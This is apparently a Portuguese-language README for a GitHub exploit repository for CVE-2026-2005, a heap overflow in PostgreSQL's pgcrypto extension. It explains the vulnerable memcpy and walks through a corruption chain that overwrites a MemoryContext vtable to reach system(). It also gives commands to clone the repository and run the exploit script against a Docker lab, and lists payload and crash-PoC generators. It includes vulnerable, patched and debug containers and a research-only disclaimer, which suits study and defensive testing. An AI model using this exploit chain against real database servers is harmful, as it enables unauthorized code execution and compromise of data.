
Exploit para CVE-2026-2005, um estouro de heap na extensão pgcrypto do PostgreSQL que leva à execução remota de código. Inclui geradores de PoC, laboratório Docker e análise técnica detalhada.
Execução remota de código por meio de uma única consulta SQL direcionada à extensão pgcrypto do PostgreSQL. A vulnerabilidade é um estouro de buffer no heap em pgp_parse_pubenc_sesskey() que permite corromper os metadados do alocador MemoryContext interno do PostgreSQL, alcançando execução arbitrária de código como o usuário postgres.
| CVE | CVE-2026-2005 |
| Componente | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Estouro de buffer baseado em heap) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Afetados | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Corrigidos | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Divulgado | 2026-02-12 |
| Commit da correção | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Aguarde ~5s para o postgres inicializar
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // controlado pelo atacante
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key é uint8[32]
ctx->sess_key é um buffer fixo de 32 bytes embutido em uma struct PGP_Context alocada no heap. Uma mensagem PGP manipulada com uma chave de sessão criptografada por RSA superdimensionada eleva sess_key_len para até ~200 bytes, transbordando para alocações adjacentes no heap. A correção adiciona uma verificação de limites sess_key_len > PGP_MAX_KEY.
sess_key[32] grava metadados falsos do alocador na alocação adjacente MBufMBuf->data = NULL para que explicit_bzero seja ignorado durante a limpezahdrmask forjado é decodificado para blockoffset=64, redirecionando o ponteiro do bloco para dados controlados pelo atacanteAllocSetFree grava o endereço do chunk em MC+16 (o campo MemoryContext->methods), substituindo o ponteiro da vtableMemoryContextDelete(MC) chama methods->delete_context(MC) por meio da nossa vtable falsa → system(MC)system() lê a struct MemoryContext como uma string: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → executa /usr/local/bin/\xd5\x01pgcrypto instalada (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (incluído no Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # Gerador + executor de exploit autocontido
│ ├── gen_exploit_v7.py # Construtor de payload anotado
│ ├── gen_payload.py # Gerador de PoC somente com crash (todos os tamanhos de estouro)
│ ├── poc_big.sql # PoC de crash pré-gerado (SIGSEGV)
│ └── poc_minimal.sql # PoC mínimo de estouro de 4 bytes
├── lab/
│ ├── docker-compose.yml # Laboratório completo: vulnerável, corrigido, debug, exploit
│ ├── Dockerfile.exploit # Build de release + script de gatilho (alvo RCE)
│ ├── Dockerfile.vuln # Build vulnerável padrão (demonstração de crash)
│ ├── Dockerfile.debug # Build Cassert (demonstração de asserção)
│ ├── init.sql # Inicialização do banco de dados
│ └── setup.sh # Auxiliar de configuração do laboratório
├── reports/
│ ├── RCE-CHAIN.md # Writeup técnico detalhado da exploração
│ ├── REPORT.md # Relatório de análise da vulnerabilidade
│ └── TODO-FOR-RCE.md # Log de desenvolvimento (concluído)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Trechos de código-fonte relevantes
| Contêiner | Porta | Finalidade |
|---|---|---|
pg-exploit | 5436 | Alvo RCE (17.7 padrão + script de gatilho) |
pg-vuln | 5433 | Demonstração de crash (17.7 padrão, SIGSEGV) |
pg-fixed | 5434 | Build corrigido (17.8, rejeita o payload) |
pg-debug | 5435 | Build de debug (cassert SIGABRT com atribuição de origem) |
# Iniciar todos os contêineres
cd lab && docker compose up -d
# Demonstração de crash (SIGSEGV no build padrão)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Build corrigido (rejeita graciosamente)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Build de debug (asserção com arquivo:linha)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm. Builds/ambientes diferentes exigem recalibração de endereços (via GDB ou vazamento de informações).SELECT digest('x','md5')) na mesma conexão estabiliza o layout do heap antes da consulta do exploit.\xd5\x01 no PATH. O Dockerfile pré-instala isso. A exploração no mundo real exigiria acesso de escrita prévio ou uma abordagem diferente com ROP/one-gadget.--enable-cassert abortam na asserção antes da escrita na freelist.379695d)Este exploit é fornecido apenas para pesquisa de segurança autorizada e fins educacionais. Use somente em ambientes de laboratório controlados com autorização explícita.